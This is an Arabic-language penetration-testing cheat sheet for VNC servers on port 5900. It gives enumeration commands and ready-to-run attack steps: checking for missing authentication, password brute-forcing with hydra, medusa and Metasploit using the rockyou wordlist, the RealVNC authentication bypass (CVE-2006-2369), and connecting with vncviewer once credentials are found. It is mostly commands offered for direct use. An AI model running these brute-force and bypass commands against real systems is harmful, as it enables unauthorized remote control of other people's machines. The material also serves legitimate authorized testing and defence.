VNC — 5900/TCP

Virtual Network Computing — وصول رسومي عن بعد. غالباً بدون authentication أو بكلمة مرور ضعيفة.


Enumeration

# Nmap
nmap -p 5900-5910 -sV 192.168.1.1
nmap -p 5900 --script vnc-info,vnc-brute,realvnc-auth-bypass 192.168.1.1

# NetExec
nxc vnc 192.168.1.1

الثغرات

1. No Authentication

nmap -p 5900 --script vnc-info 192.168.1.1  # None Authentication
vncviewer 192.168.1.1

2. Brute Force

hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.1 vnc
nmap -p 5900 --script vnc-brute 192.168.1.1
medusa -h 192.168.1.1 -P pass.txt -M vnc

# Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.1.1
run

3. RealVNC Auth Bypass (CVE-2006-2369)

nmap -p 5900 --script realvnc-auth-bypass 192.168.1.1

use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.1
run

4. الوصول بعد credentials

vncviewer 192.168.1.1
vncviewer -passwd passwd_file 192.168.1.1